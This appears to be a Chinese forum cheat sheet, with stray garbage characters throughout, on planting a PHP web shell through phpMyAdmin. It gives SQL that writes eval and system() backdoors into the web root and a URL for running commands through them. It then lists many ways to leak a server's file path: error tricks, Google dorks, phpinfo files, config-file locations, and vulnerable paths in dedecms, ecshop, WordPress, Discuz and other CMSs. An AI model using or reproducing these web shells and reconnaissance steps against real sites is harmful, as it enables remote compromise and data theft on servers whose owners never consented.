phpmyadmin后台拿shell

admin

方法一：
: z( }* [7 T- WCREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
; K8 o) j- F" ^) eSELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
7 s( z9 s3 _5 ^; Q4 H5 X! G----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
8 K$ b0 L2 o5 M$ w4 }3 F, {一句话连接密码：xiaoma

方法二：
Create TABLE xiaoma (xiaoma1 text NOT NULL);
; U7 R* g) P, Y7 N- Z4 x. { Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
2 y$ D- f3 i- u, e. ^, C/ t select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;

方法三：

读取文件内容：    select load_file('E:/xamp/www/s.php');
& S3 U( R' }% A# ?
  |) N  T3 y9 B写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'

8 A6 e3 R0 v1 d3 C' X7 Pcmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'


方法四：
select load_file('E:/xamp/www/xiaoma.php');
2 i. O1 H( g, O2 j/ U
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
; c+ W0 R5 r, G. \* v- ^; ]8 g# | 然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
; K7 F% @5 @$ D6 F7 u
8 p# ]9 S, R6 y9 _3 j! t

  M: S7 I! Q: `
+ ~8 f0 E; M- @  w
php爆路径方法收集 ：

% m, S& }, y6 h* G5 A2 n! N5 p
- H; C3 l7 h+ h) u; Z  P

1、单引号爆路径
" ~$ r+ y/ @4 g* [说明：
直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′

2、错误参数值爆路径
" O( H$ x* Z$ |9 @6 H3 u% r说明：
将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
, {# S( R4 |4 j6 ], y$ K" x" U
3、Google爆路径
说明：
6 c4 r) R& [5 `* Z: H结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
" L7 Y% W) H* H& q$ L2 H. WSite:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

, x1 \, l. u: `2 t- a: x* p4、测试文件爆路径
: k, ?2 w  @9 B, e8 J* y说明：
很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
% I3 n  \* n) {0 Y* Bwww.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
* O7 O, Q2 Q7 Bwww.xxx.com/phpinfo.php
; L8 {" S- }. w; s; x  Bwww.xxx.com/php_info.php
8 S' _) M. e7 O* `, Hwww.xxx.com/1.php
6 `) r0 q9 M1 ?% b- h
/ x* l, k' T' X2 n2 A5、phpmyadmin爆路径
说明：
4 S) w% \+ T: M7 p一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
1. /phpmyadmin/libraries/lect_lang.lib.php
5 I) t7 k0 H* _; z$ H2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
1 U; ^0 @. f& L/ l2 {9 U+ O/ T2 W2 l5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
  [; y5 X! B! g3 @' H8./phpmyadmin/libraries/mcrypt.lib.php

6、配置文件找路径
( j* p' @9 p  Y/ S! K1 ^说明：
如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。

, ]; w- _7 \" uWindows:
4 L! C: {: z( Z7 C" ^) o: f$ bc:\windows\php.ini                                    php配置文件
c:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件
% X  V7 ^9 @5 x% I, @
Linux:
/etc/php.ini                                           php配置文件
: ]' i* C! S, l9 ?2 z/etc/httpd/conf.d/php.conf
' v# _$ B- P! G/etc/httpd/conf/httpd.conf                             Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件
$ u  T* b' S2 |6 ]
7、nginx文件类型错误解析爆路径
说明：
! v. W& t2 b6 B! d这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
8 j2 I! Y' T, X9 d# ]http://www.xxx.com/top.jpg/x.php

- k/ g4 i; y& e. p8、其他
/ s& s$ t; c) Jdedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
2 A: G. M) m- N3 e6 y" F0 N- fplus/paycenter/cbpayment/autoreceive.php
3 M" o5 v& x8 h1 u$ I% B: apaycenter/nps/config_pay_nps.php
$ I/ x6 a! y% H) I" Z5 \plus/task/dede-maketimehtml.php
$ _0 w4 B4 g) K# }0 Z: b# P. i! ^plus/task/dede-optimize-table.php
- y$ l, k8 B0 Q$ aplus/task/dede-upcache.php
0 t- t6 f8 N" S, L4 V% ^
' H9 A/ f7 L+ R% {  HWP
0 B. ^( r- H& c9 E1 X6 _wp-admin/includes/file.php
/ ~& [# Z9 G) b$ t5 V, Qwp-content/themes/baiaogu-seo/footer.php

ecshop商城系统暴路径漏洞文件
, ?# ]  B2 }: i2 R7 M/api/cron.php
# K( X$ J' \2 [* n( p3 D' n( T/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
( I  |" P( Z+ t  l( x/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
& F) n  [0 }$ x7 {7 E$ {) N/temp/compiled/page_footer.lbi.php
7 U  I3 T4 ~4 S1 \6 O) p; }/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
, Q; s1 \3 W) ?$ \5 n" q, B3 P/temp/compiled/recommend_promotion.lbi.php
$ ^* ^/ E6 W1 M; Y0 }" Z4 d/temp/compiled/search.dwt.php
9 k" N. x& u8 v  B3 t, G/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
; v% D& X& X* j) P' D/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
* m% W1 `) D7 r7 r1 y1 Q4 G9 G/temp/compiled/admin/goods_search.htm.php
" {, y7 M6 c+ }) R  ^; T/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
. y0 Z+ ]1 r! j+ z3 V1 H7 Y( l/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
9 {2 |  f: r/ {6 P0 n/temp/compiled/admin/goods_list.htm.php
, ~. \# c1 G! P5 C! u# [# j8 g/temp/compiled/admin/pageheader.htm.php
* z4 @6 j* s- J( U/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
. W) J/ ^' O8 ^) h/ O0 g: Y8 e- k/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
8 x0 n  a6 b* Z0 {0 d2 U  O/temp/compiled/goods_related.lbi.php
8 h" g7 x5 G% B+ \! R! \/temp/compiled/page_header.lbi.php
; K- |$ k- x4 u0 F- _/temp/compiled/goods_script.html.php
3 r, ~! g& E5 w: Z$ F- Q4 O/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
; z% r& I, i' o+ ]/temp/compiled/brands.lbi.php
. }3 ?0 s- |9 r; j/temp/compiled/help.lbi.php
. U. o! _9 M! b/temp/compiled/goods_gallery.lbi.php
; ~, |, I7 c! p& E/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
6 M* ^* M4 v* W, |" K0 `/includes/modules/cron/auto_manage.php
3 h+ f+ \# ^% ]3 n- m& f: k/includes/modules/cron/ipdel.php
5 F+ _  Y3 x* E# E2 Z$ X, t
. F4 R1 |! M4 ]2 l  f' c- lucenter爆路径
ucenter\control\admin\db.php
. v5 M; c3 I$ \& L
; N6 ~' q1 e& b% y4 f. W8 `' eDZbbs
' J% X& V* t4 _manyou/admincp.php?my_suffix=%0A%0DTOBY57
5 g8 o) X/ e; U1 O
- c9 `' q/ q& k7 v, k. `% Vz-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php

php168爆路径
admin/inc/hack/count.php?job=list
2 `, u# r+ c; _5 n4 v% kadmin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
; Y/ ]0 A% X$ g; \; Z0 _cache/MysqlTime.txt

PHPcms2008-sp4
6 D. n$ Y0 X8 ^% I# s/ c) S  N1 ]注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif

bo-blog
/ e: A) T0 I. n9 _- kPoC:
/go.php/<[evil code]
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
" n3 ~6 O0 ?, ~9 k4 T2 zlib/mods/celive/menu_top.php
0 ]' ?4 E# N; a2 G. }: b+ |4 R/lib/default/ballot_act.php
lib/default/special_act.php